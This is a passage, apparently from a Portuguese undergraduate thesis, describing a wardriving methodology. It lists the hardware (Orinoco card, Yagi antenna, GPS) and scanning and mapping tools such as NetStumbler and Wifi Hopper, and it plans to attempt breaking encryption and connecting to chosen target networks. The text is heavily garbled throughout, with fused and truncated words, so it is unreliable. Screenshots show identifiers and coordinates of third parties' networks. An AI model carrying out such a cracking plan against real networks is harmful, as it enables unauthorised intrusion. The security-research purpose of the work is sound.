serdo alvo de uma tentativa de conexao (a fim deodstrar os perigos das configuracdes de
fabrica). As redes-alvo serdo escolhidas cuidadestantendo um grande apoio nos mapas
gerados, a fim de definir pontos estratégicos. @madvel sera estacionado em um ponto
determinado para cada rede, visando obter a mellalidade do sinal possivel e um nivel de
seguranca adequado. Desta forma, sera realizagléyaeiente, a tentativa de quebra de
protocolo e a tentativa de conexado, armazenandeso#tados. Este ocorrera em um periodo
maximo de 7 (sete) dias, sendo que cada rede-@aaima atencdo de, no maximo, 1 (uma)

hora, utilizando as ferramentastiedwar e e software definidas.

Concluindo a execucgao derdriving, os resultados seréo reportados e analisados, a

fim de ratificar os objetivos propostos neste tiaba
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4.2 Ferramentas deHardware

Segundo Hurleyet al (2004), existem inumeras configuracdes possivara ge
efetuar owardriving, cada qual com suas particularidades. A configioageal € aquela que
atinge todos os objetivos pretendidos com a regd@lzaowardriving, seja este em diferentes
situacdes. Com relacdo a preparar um ambiente gaahse, € importante lembrar que
algumas ferramentas deftware sé funcionam com determinadas placaspéets) de rede
wi-fi, entdo a escolha dessas placas deve se assodamamsentas que serdo Uteis em
determinadas circunstancias. A compatibilidadeeeasr ferramentas dardware e software
€ imprescindivel, sendo que uma depende da outra pabom funcionamento da

configuragéo.

A qualidade das ferramentas utilizadas no procedsaovardriving influencia
diretamente nos resultados obtidos, sendo necassétilizacdo de uma configuracdo robusta
e confiavel. A seguir, descrevem-se as ferramedéabardware que serdo utilizadas no
processo devardriving.

4.2.1 Computador mével kaptop)

Em virtude da maioria dosoftwares utilizados emwardriving ndo necessitarem de
recursos avancados, laptop pode ser um modelo antigo, que ndo possua um pbEer
processamento muito superior. Porém, obviamentiJizacdo de umaptop com uma boa
configuracdo reporta resultados mais rapidos. iestaa, olaptop que sera utilizado € um
Sony VAIO VGN-FS115B, com processador Intel Cewtrin6 GHz, 512 Mb de memoaria
RAM e disco rigido de 80 Gb. [@ptop também possui conexdes USBn(versal Serial Bus)

e entrada para cartbes PCMCIAe(sonal Computer Memory Card International
Association). Nos testes preliminares, baptop apresentou uma boa performance e

compatibilidade com o restante do equipamento.

4.2.2 Fonte de energia externa para veiculos

Para que o0s equipamentos deardware funcionem adequadamente e
ininterruptamente, mantendo estavel a forca dd siilzado pela antena, sera utilizada uma
fonte de energia externa para veiculos, ou sejadaptador de energia de 12 Volts ligado ao

conector do automovel.
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4.2.3 Interface de redewi-fi

A interface de redwi-fi € um dos equipamentos os qual se deve maior ateligé
equipamento que realizara efetivamente a emissaecepcdo do sinal (nivel fisico),
interagindo com o sistema operacional eaftsvares utilizados (nivel I6gico). Denota-se que

deve possuir uma qualidade superior, a fim de s& ofisultados mais precisos.

Uma caracteristica importante que a interface de deve possuir € um conector
para antena externa, possibilitando assim a cordx@mona antena para maximizar a forca e o
alcance do sinal. Normalmente, l@ptops possuem embutida uma interface de redd,
porém estas ndo apresentam nenhuma conexao paaa aexterna, 0 que remete a
necessidade de utilizacdo de um cartdo de intedaceedewi-fi padrao PCMCIA, com

conector para antena.

Existem doischipsets primarios disponiveis em cartdes sem fichipset Hermes e o
chipset Prism2 (HURLEY et al, 2004). Embora existam diversos outros disponjvais
maioria dossoftwares parawardriving sédo desenvolvidos para a utilizacdo de um desiss d
chipsets. O NetStumbler, por exemplo, foi desenvolvido paadalhar com cartGes baseados

no chipset Hermes (atualmente possui compatibilidade conosytr

Segundo Hurleyt al (2004) e Earle (2006), o cartédo recomendado patdizacao
emwardriving é o Orinoco Classic Gold, fabricado atualmenta pehpresa Proxim Wireless
Corporation, que utiliza chipset Agere (0 qual é baseado daipset Hermes). Este cartéo,
por ser um dos primeiros cartdes PCMCIA com comegtra antena externa a surgir no
mercado, possui uma alta compatibilidade com equépéos déhardware e, principalmente,
com ossoftwares utilizados em redesi-fi. Pode ser utilizado tanto em plataforma Windows
guanto em plataforma Linux, permitindo assim gya gglizado em ambos ambientes sem a

necessidade de troca dardware.

Desta forma, a interface de rede wi-fi que sel&atla no processo deardriving é
um cartdo Orinoco Classic Gold. Por este cartdaisemodelo antigo, possui suporte aos
padrbes 802.11a/b e suporta criptografia WEP dd28ébits. Atualmente € um dos poucos
cartdes com conector para antena externa dispemuoanercado. O cartdo que sera utilizado

no processo deardriving € mostrado na Figura 4.2, com detalhe no conpetar antena.
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Figura 4.2 — Cartédo Orinoco Classic Gold.

4.2.4 Cabopigtail

O cabopigtail é responsavel por efetuar a conexao fisica enttediace de redei-
fi e a antena externa. Muitas antenas possuem urotgode tipo N, porém as interfaces de
rede possuem conectores proprietarios, sendo @stdferentes formas e tamanhos. Desta
forma, a escolha do calppgtail deve ser realizada de acordo com o canidfh e a antena
que serao utilizados. Para que ndo ocorra uma gratetiuacédo do sinal, € importante que o
cabopigtail ndo ultrapasse o comprimento de 50 cm, sendo soipdivel a utilizacdo de um
cabo de qualidade (HURLE#t al, 2004).

O pigtail que sera utilizado no processowt driving € um cabo proprietario para
cartdes Orinoco, possuindo, na extremidade de énexm o cartdo, um conector MC-Card
e, na extremidade de conexdao com a antena, umtoomeéenacho. O comprimento do cabo

utilizado é de 48 cm, o qual é mostrado na Figua 4
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Figura 4.3 — Cabpigtail para cartdes Orinoco.

4.2.5 Antena externa

A fim de maximizar os resultados @ardriving, sera utilizada uma antena externa.
A antena é o dispositivo que irradia e recebe da®de radio. A maioria dos cartdes de rede
possui uma antena interna de baixo ganho que upaaeconfiguracado deardriving, ndo € o
ideal. JA& uma externa aumenta o nivel do sinalade rdetectado pelos cartdes de rede.
Diferentes tipos de antenas podem ser utilizados tderfaces de redwi-fi, como, por
exemplo, antenas direcionais, antenas omni-dira@amantenas parabdlicas (esta Ultima, por

seu tamanho, néo é utilizada emrdriving).

A antena que sera utilizada nesta execucawaldriving € uma direcional do tipo
Yagi. Esta é uma antena de grande poténcia, que podsada tanto para transmitir sinais
por distancias relativamente grandes, quanto captais fracos, que antenas menores nao
seriam capazes de captar.

Em redeswi-fi, as antena¥agi sao as que oferecem um alcance superior, porém sao
capazes de cobrir uma area reduzida, para onddirs&gmnadas. Estas antenas sao mais Uteis
para cobrir alguma area especifica, longe do paetoacesso, ou interligar duas redes
distantes. Em ambos os casos, 0 alcance de umaaaviégi pode ultrapassar dois
quildmetros (HURLEYet al, 2004). AsYagi sdo também o melhor tipo a se usar quando é
preciso concentrar o sinal para "furar" um obstaeutre as duas redes, como, por exemplo,

um prédio. Nestes casos, obviamente, a distancigidd sera sempre reduzida. As famosas
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antenas construidas com tubos de batatas Pringlesy demonstrado na figura 3.2, sdo
justamente um tipo de ante¥iagi de baixa poténcia.

A antena que serd utilizada é uma ant¥agi fabricada pela empresa Hyperlink
Technologies, modelo HG2412Y, que opera na faixfnedgiéncia de 2.4 - 2.5 GHz (utilizada
nos padres 802.11b/g) e possui um ganho de 1ggdBho relativo & antena isotrégidao
gue é considerado um 6timo ganho para ser utilizatardriving. Para a comunicagdo com
o dispositivo de rede, a antena traz um cabo den80agregando um conector N fémea em
sua extremidade. Nos testes preliminares, aprasemvo expressivo ganho na irradiacao e
captacdo de sinawi-fi e, principalmente, apresentou grande facilidadeuste pesando
apenas 0,59 Kg. Maiores informagdes a respeitotiaa utilizada podem ser encontradas no
site do fabricanté. A Figura 4.4 mostra a antena que sera utilizada.

Figura 4.4 — Antendagi.

14 A antena isotrépica é uma construgdo teérica ggerdve uma antena que irradia seu sinal em unmidadgu
360 graus, para cobrir a area de uma esfera gerfeiisada como base para descrever o ganho deaniema
real (HURLEY, CHRIS ET AL,, 2004).

!5 Disponivel em http://www.hyperlinktech.com.
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4.2.6 Dispositivo GPS

Um equipamento fundamental na varredura e mapeanamtredeswi-fi é o
dispositivo GPS Global System Position), com o qual € possivel identificar a localizag&o
uma determinada rede e a abrangéncia do sinale @ guarticularmente util para determinar
até onde um sinal chega e promover ajustes de gaté@ons concentradores, por exemplo
(RUFINO, 2005). Pode ser integrado a vérias ferraaseutilizadas para andlise e varredura

(como, por exemplo, o NetStumbler), indicando asadenadas obtidas.

E importante salientar que, por razdes de comfidiide com os softwares
utilizados emwardriving, € necessario um dispositivo GPS que comporte drdpade
comunicacdo NMEA 0183National Marine Eletronics Association), em virtude de softwares
mais antigos trabalharem apenas com este padraRl(HY et al, 2004). A conexao fisica do
dispositivo GPS também é de extrema importancia wez que o dispositivo utilizado para
wardriving (laptop ou PDA) deve possuir compatibilidade com a cones@@oecida pelo
modelo do dispositivo GPS.

Desta forma, o dispositivo GPS que sera utilizadeexecucédo davardriving € o
GPSmap 60CSx, fabricado pela empresa Gafnilfder mundial em dispositivos GPS).
Demonstrado na Figura 4.5, este modelo possui am&ierna, o que aumenta a capacidade
de recepcdo do sinal, garantindo assim uma localizanais precisa. Além de utilizar o
padrdo de comunicagdo proprietario da Garmin, @B conta com o padrdo NMEA 0183,
garantindo assim a compatibilidade comsofiwares utilizados. A conexéao fisica com o
laptop € realizada através de um cabo USB. Nos testdsnpprares, o dispositivo GPS
informou a localizagcdo, com uma margem de erro @s mu menos 5 metros (com o

dispositivo em movimento).

'8 Disponivel em http://www.garmin.com.
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Figura 4.5 — Dispositivo GPS.

4.3 Ferramentas deSoftware

Como abordado anteriormente, existem inUmeras gunaftdes possiveis para se
efetuar owardriving, cada qual com suas particularidades. A configioag definida pelas
ferramentas déardware e software que séo utilizadas no processovdardriving, sendo a
ideal aquela que atinge os objetivos pretendidaa parealizacdo efetiva dwardriving
(EARLE, 2006).

Atualmente, diversas ferramentassdéware estao disponiveis para o uso em redes
wi-fi, e, em virtude do grande crescimento dessa ar@a,nih nimero expressivo no
surgimento de novas ferramentas. &iftwares apresentam diferentes caracteristicas e
propositos, apresentando, desta forma, diferentexidnalidades e comportamentos.
Igualmente as ferramentas thardware, é imprescindivel a utilizacdo dmftwares de

gualidade no processo derdriving, criando, assim, uma configuracado robusta e cegifia

Apés efetuada a analise sobre o ambiente destaig@@aowardriving, foram
realizados testes preliminares com diversas femtasedesoftware, visando atingir os
objetivos propostos e verificar a eficiéncia e apatibilidade de tais ferramentas. Desta
forma, como definido na metodologia, descrevemsséeaamentas deoftware que serao
utilizadas neste processo, sendo que a execucaeardibiving utilizara as ferramentas de
software em dois momentos distintos, 0s quais sao deseriseguir.
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E importante ressaltar que diversas ferramenta®o edisponiveis para as mais
variadas plataformas, sejam estas em Windows awx|.cabendo awardriver a escolha das
ferramentas que formam a configuracdo ideal pama csituacdo. Na realizacdo do
wardriving, serdo utilizadas ambas as plataformas. Pararaduaa e 0 mapeamento, sera
utilizado o sistema operacional Windows XP SP2 2iéi& e, para a tentativa de quebra do
protocolo de criptografia, sera utilizada a distigio Linux BackTrack 2 de 32 bitkefnel
2.6.20). Ambos os sistemas operacionais possuems tad atualizacbes recomendadas
instaladas, uma vez que é primordial a utilizagdamh ambiente robusto e confiavel, como

fora afirmado anteriormente.

4.3.1Softwares para varredura e mapeamento

Para realizar a varredura em busca de redes, serdo utilizadas ferramentas
especificas para este propoésito, também conhecda® ferramentas de escaneamento
(scanning tools). Este tipo de ferramenta apresenta facilidadetileacdo, capturando dados
de redes e provendo uma interface grafica paraiérios a fim de visualizar as informagdes
relativas a identificacdo das mesmas (HURL&Yal, 2004). O principal objetivo de um
scanner sem fio € encontrar informacdes de identificac@aetieswni-fi, que podem incluir,
por exemplo, canal utilizado, tipo de segurancalemto MAC, fabricante do ponto de
acesso, forca do sinal, padrdo de velocidade, mi@etdinal/ruido e a localizagdo GPS. As

ferramentas definidas para esse processo sao tuNdti8r e o Wifi Hopper.

Em relacdo ao mapeamento dos resultados obtidaséatrda varredura, serdo
utilizadas ferramentas de mapas e de geracéo despdemonstrando graficamente os dados
e posicionamentos das redes encontradas. Comae citathetodologia, os resultados podem
fornecer uma valiosa fonte de informacdes sobreiraega, gerando mapas e andlises
estatisticas da postura de seguranca adotadarpdiswi-fi daquela regido. A maioria das
ferramentas disponiveis para esse proposito utizalados exportados pelssftwares de
escaneamento, gerando um mapa da regido e identibca localizacdo dos resultados.
Depois de efetuada uma extensa pesquisa sobreisske ferramenta, constatou-se que a
Unica ferramenta que possui 0 mapa do municipibateoupilha é o Google Maps. Assim
como o WIiGLE (citado no item 3.1) e o StumbVerteque visualiza os resultados no
software MapPoint, da Microsoft), as demais fernat@a® disponiveis apenas possuem a
capacidade de criar os pontos, porém ndo apresemtampa da cidade. Contudo, uma

7 Disponivel em http://www.sonar-security.com.



90

ferramenta bastante interessante encontrada, segéaitilizada, € eoftware Knsgem. Este
permite visualizar os resultados nos softwares @o@@rth e Google Maps, os quais

possuem mapas e imagens aéreas atualizadas de. cidad

4.3.1.1 NetStumbler

Lancado em maio de 2001 por Marius Milner, estanner de redewi-fi,
rapidamente, tornou-se um dos mais utilizastflsvares para varredura de redes, bem como
foi um dos pioneiros nessa area. A primeira veeaomuito limitada em suas habilidades
para operar com os adaptadores e sistemas deHABLE, 2006). Desde entdo,software
recebeu melhorias e incrementos, suportando diveraddes de rede sem fio e podendo
operar nas mais diversas versbes do sistema apeafcexclusivamente em plataforma
Windows. O Network Stumbler (nome oficial) estapdisivel em seu site, atualmente na
versao 0.4.0 (que fora lancada em abril de 2004calizado no endereco

http://www.netstumbler.com.

Segundo Milner (2007), oftware opera sob a licencéeggarware, também
conhecida comaonationware. Este modelo de licenciamento prové uma operagampleta
do software para com o usuario, requisitando uma doacdo &e#garao programador. Isto
significa que n&o é necessario pagar uma licengayéizar osoftware, porém, se o0 usuério
utilizar e gostar da ferramenta, é requisitada wvoacdo, a fim de aprimorar futuros
desenvolvimentos, hospedageamb e outros custos que sao necessarios para gqofenare
esteja disponivel e funcional para todos. Podecgesiderado também como wsoftware
freeware, pois mesmo que nédo seja efetuada a doacéo, mpragermanece oferecendo suas
totais funcionalidades. O criador do NetStumblanktém explica que estsoftware é
desenvolvido como um hobby em suas horas de felggo como um trabalho em horério

integral.

O NetStumbler € uma ferramenta ativa de deteccaedks sem fio. Isso significa
gue utiliza a sondagem ativa, enviandames chamadosProbe Request. O frame Probe
Request é associado aframe Probe Response, 0os quais fazem parte do padrdo 802.11
(EARLE, 2006). O envio dofames € realizado (por padrdo) uma vez por segundo e, se
pedido de requisicdo receber alguma respostaftware reporta ao usuario pela interface
gréfica. E capaz de detectar redes locais semioA(s), baseadas nos padrées 802.11b,
802.11g e 802.11a, reportando as diversas cartatasi das redes encontradas, o que a torna

uma ferramenta muito eficaz na resolucéo de pradetie redes, além de propiciar um nivel
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elevado de informacdes para a utilizacdoveardriving. Na Figura 4.6, pode-se observar o
software operando, demonstrando as caracteristicas daseaocalizacdo do equipamento.
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Figura 4.6 — NetStumbler.

As redes (pontos de acesso e/ou ad-hoc) séo idadat a partir do endereco MAC
retornado e o SSID da rede. Com isso, sdo armazemadregistros com as informacgdes da
rede, associando o MAC ao SSID. As caracteristbéislas das redes sdo demonstradas em
sequéncia, ao lado do referido SSID. As princigaigcteristicas que software reporta séo

as seguintes:

* MAC: informa o endereco MAC do ponto de acessod@nte de uma rede ad-

hoc) que respondeu afsames de requisigao;
» SSID: informa o SSID da rede encontrada;
» Channel: informa o canal utilizado pela rede;

* Soeed: informa a velocidade da rede, de acordo com odpagdtilizado por tal. Os
valores referidos sédo: 802.11b = 11 Mbps; 802.13@2e11g = 54 Mbps;

* Vendor: informa o fabricante do ponto de acesso, atrdeéendereco MAC (se

for possivel a verificacdo em sua base de dados);
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* Type: informa qual o tipo da rede encontrada. Se a esw®ntrada possui um
ponto de acesso central, entdo reporsiriag AP. Se a rede encontrada for do

tipo ad-hoc, entédo é reportado como Peer;

* Encryption: informa se a rede possui a criptografia ativ&taém, vale ressaltar,
que o NetStumbler apenas sinaliza a utilizagéo & de criptografia na rede,
reportando atring WEP (mesmo que a rede possua, por exemplo, agrgia
WPA);

* SNR: informa a relacdo sinal/ruido, reportada eribéés microvolts (dBm).

Somente é ativada quando estiver na faixa de aénargda rede;

* IP Address. se a rede estiver sem seguranca, € possiveltae@orclasse de

endereco IP que esta sendo utilizada pela redauestap;

» Latitude/Longitude: informa a localizacdo global dbspositivo que esta

realizando a varredura;

» Distance: informa a distancia aproximada do dispositive@derem questéo, tendo
como base as informacdes sobre o sinal e a locabzala ferramenta de

varredura.

Uma das caracteristicas principais destevare é a possibilidade de filtragem dos
resultados e a exibicdo grafica do nivel de sinaé ativo da rede, como € demonstrado na
Figura 4.7. Esta exibicdo permite wardriver determinar qual a posi¢céo que lhe proporciona
maior qualidade do sinal.

4" Networt: stumbies - [Netstumbler] R
[B) File Edit View Deviee window Help -8 x

cccccc

- T Fiters
&

F e (11g)
& Default 551D

1aPot @ cps: 2w 1390 w6 11

Figura 4.7 — Sinal/Ruido no NetStumbler.
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Outra caracteristica relevante ao NetStumbler éapaaidade de exportar os
resultados obtidos, o que torna fécil a integracdm diversas ferramentas. Os arquivos
exportados podem ser interpretados pela maioridetie@mentas disponiveis atualmente (até
pelo fato de o NetStumbler ser um dos pioneirosarea), criando assim uma grande

vantagem em sua utilizag&o.

Uma das op¢des mais utilizadas pelasdrivers é o receptor de satélite GPS. Estes
dispositivos determinam a posicao do dispositivéasa global por meio de uma triangulacéo
de sinais dos satélites. O NetStumbler, por sua peanite a conexao com praticamente
todos dispositivos GPS disponiveis no mercado. fegfistra a localizacdo das redes sem fio
baseada nos dados do GPS (EARLE, 2006).

Por fim, uma das funcionalidades exclusivas do tetSler € a capacidade de
continuar uma analise salva anteriormente, o qumifee adicionar informacdes sobre as
redes ja catalogadas e, paralelamente, detectashormando um s6 conteddo. Uma das
vantagens dessa funcionalidade é gerar mapas orajglatos ou continuar uma analise do
ponto em que parou, proporcionando desdobramemntesessantes, como registrar ao longo

de medicdes, em dias diferentes, o comportamentondemesma area analisada.

De acordo com Milner (2007), ndo existe oficialneenin requerimento minimo de
hardware para o NetStumbler. Goftware € extremamente leve, ocupando o minimo de
recursos (0 pacote da versdo 0.4.0 ndo ocupa roaigiel 2 Mb de espaco em disco). H4,
ainda, uma versdo para equipamentos que funciomamWindows CE, conhecida como
MiniStumbler, que praticamente possui as mesmaactaisticas e funcionalidades do
NetStumbler.

4.3.1.2 Wifi Hopper

O Wifi Hopper é uma ferramenta para redes locarsfse (WLANS) que combina as
funcionalidades de descoberta de redes e gerencide€oconexdes. Assim como o
NetStumbler, utiliza sondagem ativa, reportando casfiguracdes inerentes as redes
encontradas. Engloba também um grande suportepiaddaes de redes sem fio, operando

nas diferentes versdes do sistema operacionaljsgxamente em plataforma Windows.

Possui praticamente todos 0s recursos encontramdsetStumbler e incrementa
alguns mais, como, por exemplo, a identificacadiplo de criptografia utilizada pela rede
(seja esta WEP, WPA ou WPA2). Além disso, permimaexao as redes encontradas, de
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acordo com a seguranca adotadasdftware suporta conexdes com WEP, WPA-PSK ou
WPA2-PSK) (HOPPER, 2007).

Segundo Hopper (2007),s0ftware opera sob a licengdnareware, disponibilizando
um periodo de testes de 15 (quinze) dias. ApOs pstéodo, o software perde a
funcionalidade de conexdo as redes, mantendo dpesafuncionalidade de descoberta de
redes. O Wifi Hopper esté disponivel em seu siteglaente na versdo 1.2 (que fora langcada
em maio de 2007), localizado no endereco http://vwwifithopper.com. Atualmente, o valor
da licenca dasoftware € de U$$ 34.95, podendo ser adquirida atravéstelas fabricante.

Na Figura 4.8 é demonstrada a tela principadafovare, exibindo alguns resultados.

O Wifi Hopper € uma poderosa ferramenta para ussi@iadministradores de rede
sem fio, agregando uma gama de funcionalidadesrites as redesi-fi. Pode ser integrado
a dispositivos GPS, o que permite identificar aliaacdo aproximada das redes. Também
permite que os resultados sejam exportados, poida ado possui muita compatibilidade

comsoftwares de mapeamento.

A WiFi Hopper: Trial version, 15 days remaining (=N
File View Mode MNetwork Device System GPS Help
[1:41:18 Network configuration applied, keys exchanged, IP address received, connected to the network.
| Stopscanning | [ Linksys Wireless- USB Network Adapter WUSB300N - Wireless LAN - [ Register Now!
Ssid Type MAC Address Signal Mode Encryption  Status Hits Score  Freguency PHY Vendor i
test-WRT300M 802.11g 00:18:f8:f1:51:4b -43dBm  Infrastructure WPA Connected, 19... 149 0% 2,412 Ghz (1) OFDM  Lookup OUI?
WIRELESS-AL  802.11g 00:13:10:c9:bf:1f -76dBm  Infrastructure WEP Mot Connected 149 0% 2,462 Ghz (11) OFDM  Cisco-linksys, LLC
test-WRT54GS  802.11g 00:16:b6:18:ec:ca  -70dBm  Infrastructure  WPA Mot Connected 149 0% 2,462 Ghz (11) OFDM  Cisco-linksys
w20 802,11g 00:11:f5:10:39:24  -87dBm  Infrastructure WEP Mot Connected 149 0% 2,462 Ghz (11) OFDM  ASKEY COMPUT...
test-TEW432  802.11g 00:40:f4e4:35:f0 -71dBm  Infrastructure MNone Mot Connected 149 68% 2,462 Ghz (11) OFDM  CAMEQ COMMLU...
ZYRWYU 802,11g 00:0d:88:bf:7a:59 -89dBm  Infrastructure WEP Mot Connected 149 0% 2,437 Ghz (&) OFDM  D-link Corporation |
Dinotopia 802,11g 00:13:46:f5:50:bc 84dBm  Infrastructure WEP Mot Connected 149 0% 2,437 Ghz (&) OFDM  D-link Corporation |~
ewa i ania 802.11g 00:13:46:eeichdd  -87dBm  Infrastructure  Mone Mot Connected 149 60%: 2,437 Ghz (8) OFDM  D-Link Corporation
SecureX 802,11g 00:13:10:18:54:c2 -89dBm Infrastructure WPA Mot Connected 149 0% 2,437 Ghz (8) OFDM  Cisco-Linksys, LLC
farah 802,11g 00:16:b6:eficaicé -89 dBm  Infrastructure  Mone Mot Connected 149 59% 2,437 Ghz (8) OFDM  Cisco-Linksys
shirley 802,11g 00:13a309:73:8d -91dBm Infrastructure WEP Mot Connected 149 0% 2,447 Ghz (8) OFDM  Siemens Com CP...
wireless_629 802,11g 00:90:4b:3f:d%:9a  -90dBm  Infrastructure WEP Mot Connected 47 0% 2,412 Ghz (1) OFDM  GemTek Technol...
802,11g 00:0f:66:d0:dl:6e  -83dBm  Infrastructure WEP Mot Connected 149 0% 2,427 Ghz (4) OFDM  Cisco-Linksys
hsmm 802,11b 00:13:10:ee:eb:9d  -91dBm  Infrastructure Mone Mot Connected 145 58% 2,417 Ghz (2) DS Cisco-Linksys, LLC
BSCEM 802,11g 00:16:b6:36:48:b1 -83dBm  Infrastructure WEP Mot Connected 149 0% 2,437 Ghz (&) OFDM  Cisco-Linksys
Fernandez 802,11g 00:14bfi83:b3:20 -92dBm Infrastructure WEP Mot Connected 145 0% 2,462 Ghz (11) OFDM  Ciscolinksys LLC
OMG 802,11g 00:11:95:0b:2e:78  -93dBm  Infrastructure WEP Mot Connected 145 0% 2,412 Ghz (1) OFDM  D-link Corporation
hajjarfamily 802,11g 00:17:9a:9d:el:@e  -90dBm  Infrastructure Mone Mot Connected 147 58% 2,437 Ghz (8) OFDM  Lookup OUI?
myConnect 802,11g 00:13:46:beice;44  -90dBm  Infrastructure  WEP Mot Connected 149 0% 2,462 Ghz (11) OFDM  D-link Corporation
linksys 802,11g 00:13:10:31:0a:be  -91dBm  Infrastructure WEP Mot Connected 149 0% 2,437 Ghz (&) OFDM  Cisco-Linksys, LLC
Miguel 802,11g 00:0d:88:85:2d:bf  -87dBm  Infrastructure WEP Mot Connected 149 0% 2,462 Ghz (11) OFDM  D-link Corporation
METGEAR 802.11g 00:146c:d1:2b:ad  -90dBm  Infrastructure  Mone Mot Detected 143 58% 2,462 Ghz (11) OFDM  Metgear Inc.
802,11b 00:0d:88:36:8%:db -89 dBm  Infrastructure WEP Mot Detected 141 0% 2,442 Ghz (7) DS D-Link Corporation
silverback 802,11 00:14:bfi4b:06:ec 95dBm  Infrastructure MNone Mot Detected 141 57% 2,437 Ghz (&) OFDM  Cisco-Linksys LLC
AnEai o0 Ada AN AN EA~ T AT AT O AD e Tebrmmbriimhiem  Mlomea Rk Dimdede A 490 nos T AT Fhe 2N fal=nY] AKAC CORARAL L

Figura 4.8 — Wifi Hopper.
Fonte: http://www.wifihopper.com.

Um ponto importante na utilizagdo desta ferrameihta fato de que se pode
identificar o tipo de criptografia usada na redeomtrada, diferentemente do NetStumbler,

que apenas sinaliza o uso ou nao da criptografi@n®, esta funcionalidade esta diretamente
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ligada ao padrdo comportado pelo adaptador de oedseja, asoftware é capaz de reportar
apenas os valores do padrdo suportado pelo adap@elodo assim, se uma rede possuir
criptografia WPA, e o adaptador de regiefi apenas suportar o padrdo WEP, esta rede sera
sinalizada como uma rede com criptografia WEP. Gmuaevale para o padréo suportado pelo
adaptador. Se a rede encontrada utilizar, por elkeroppadrédo 802.11g, e o adaptador de
rede operar apenas no padrdo 802.11b, entdftware retorna ao usuario que, a rede em

questao, utiliza o padrao 802.11b.

Essesoftware é utilizado neste trabalho a fim de identificarhge além do WEP,
redes que utilizam outros padrées de criptograftarabém, auxiliar na definicdo das redes-
alvo. Desta forma, para se identificar os diferemigos de criptografia das redes encontradas,
deve-se utilizar um adaptador de rede que compestes padrdoes. Como ndo estédo
disponiveis no mercado adaptadores de vaele com conector para antena externa, e que
comportem todos os padrdes de criptografia (como éaso do cartdo definido na
metodologia, que opera sob o padrdo 802.11b e tsuppenas criptografia WEP), o Wifi
Hopper sera utilizado juntamente a um adaptadorede sem fio USB, fabricado pela
empresa Encore Eletroni€s modelo ENUWI-SG, o qual opera sob o padrdo 8@R.41
comporta criptografia WEP, WPA e WPA-PSK.

Nas Figuras 4.9 e 4.10, sdo demonstrados os d#sreamportamentos doftware,
utilizando ambos adaptadores. A rede em questdoaope padrdo 802.11g e possui
criptografia WPA-PSK.

4 WiFi Hopper: Registered Yersion =l
File ‘Wiew Mode Mebwork Dewice Systern GPS  Help

22:18:08 Active networking device has been changed,

[

| Stop Scanning : ORINOCO PC Card (Microsoft's Packet Scheduler) (ORINOCD Wireless LAN PC Card (5 volt)) - Wireless LAN -

Ssid Speed Type MAC Address Sianal Mode Frequency Encryption  PHY vendor Beacon  Channel  Latitude Longitude
lucchese 11Mbps  802.11b 00:19:5biqc:bdie9  -66 dBm Infrastructure 2,437 Ghz (6) WEP Ds D-Link Corporation 100ms 6 2913'55.278"S  5121'21.963"w

Figura 4.9 — Wifi Hopper com cartéo Orinoco.

'8 Disponivel em http://www.encore-usa.com.
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4 WiFi Hopper: Registered Yersion = SR =
File ‘“iew Mode MNetwork Device System GRS Help

22116:31 Program initialization completed successfully,

i Stop Scanning ; 108Mbps Wireless Metwork USE Dongle (Microsaft's Packet Scheduler) - Wireless LAN -

Ssid Speed Type MAC Address Signal Mode Frequency Encryption  PHY “endor Beacon  Channel  Latitude Longitude
lucchese S4Mbps  802.11g 00:19:5b:i4c:bdied  -55dBm  Infrastructure  2.437 Ghe (8) WPA OFDM  D-link Corporation 100ms 6 2913'54.978"s  5121'21.781"W

Figura 4.10 — Wifi Hopper com adaptador Encore.

4.3.1.3 Google Maps

O Google Maps € um servi¢co de pesquisa e visudlizde mapas e fotos de satélite
do mundo inteiro, fornecido pela empresa Google. @&mubro de 2007, foi lancada
oficialmente a verséo brasileira do servico, charadogle Maps Brasil, o qual possui uma

grande quantidade de mapas de capitais e de cidadeterior brasileiro.

E um servico gratuito, disponivel no endereco Httyaps.google.com. Assim como
outros servicos do Google, o0 modelo de negdciossdogle Maps € baseado na receita
publicitaria, sendo que os anuncios de texto, chaslanks patrocinados, sdo mostrados ao
lado dos mapas. As funcionalidades que este setspdem agregam as seguintes (DINIZ,
2007):

* Pesquisar lugares e enderecos;

» Encontrar restaurantes, lojas e outros negociosmos a um endereco;
* Obter trajetos no transito passo-a-passo;

» Criar e compartilhar mapas personalizados gratiteen

* Integrar o Google Maps a diferentes aplicacdes.

Na Figura 4.11, é demonstrado o Google Maps emdnamento, apresentando o

mapa do municipio de Farroupilha.

19 Disponivel em http://maps.google.com.br.
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Figura 4.11 — Google Maps.

E possivel, também, destacar rotas, pontos e dyess, comentarios e compartilhar
os respectivosinks de acesso ao mapa criado. Permite a criagcdo desppas mapas com
extrema facilidade, inserindo o ponto no local gt ou através de coordenadas GPS, como
€ demonstrado na Figura 4.12. Também é possivéhoogle Maps, exportar os dados para
um arquivo de linguagem de marcad@eyhole, conhecida também como KMIKéyhole
Markup Language). O KML é um formato de arquivo e uma gramatica XNHxtensible
Markup Language), que serve para modelar e armazenar caracterigf@agaficas como
pontos, linhas, imagens, poligonos e modelos petacéo no Google Earth e no Google
Maps (EARTH, 2007).

Uma funcionalidade interessante do Google Mapgésaibilidade de visualizacao
hibrida, ou seja, pode-se visualizar fotos de isatébm o mapa de ruas sobreposto, 0 que
permite um referencial visual da area mostrada. ANura 4.13, € demonstrada esta
visualizacao hibrida da mesma area mostrada naaHigii2.
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Pelo fato de o Google Maps ser um servi¢co extremtarleve, interativo, gratuito e

on-line, atualmente pode ser considerado uma das melhHereamentas de mapas
disponiveis.

4.3.1.4 KSNGEM

O Ksngem é uma ferramenta interessante para ssaef@tmapeamento das redes
encontradas no processowardriving. Estesoftware converte os dados de programas como
0 NetStumbler e o Kismet, gerando arquivos KML paraisualizacdo dos resultados no

Google Earth e no Google Maps. Prové uma interfgi@dica aos resultados obtidos,
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demonstrando indices destes, incluindo o total ddes encontradas, utilizagdo de
criptografia, coordenadas GPS e localizacdo. Tamig@ové informagbes adicionais
pertinentes a cada rede mapeada (DEFENCE, 2007).

Atualmente, software esta disponivel em sua versao 2.0 (lancada eindati2007),
disponivel no endereco http://www.rjpi.com/knsgeim.hE uma ferramenta que opera sob a
licencafreeware, ou seja, ndo ha a necessidade de pagar por cengdi para a utilizacdo do

software.

Dentre as possibilidades de uso desta ferrameni@mas se destacam
(KSNGEM, 2007):

* Visualizar o alcance aproximado de um ponto desaces

» Verificar os canais utilizados por pontos de acesdahos, a fim de determinar a

possibilidade de uma rede afetar outra;
* Visualizar areas néo cobertas pelos pontos de@{@sa de sombra).

O Ksngem nao possui interface para o usuario. Quardcutado o servigo (e suas
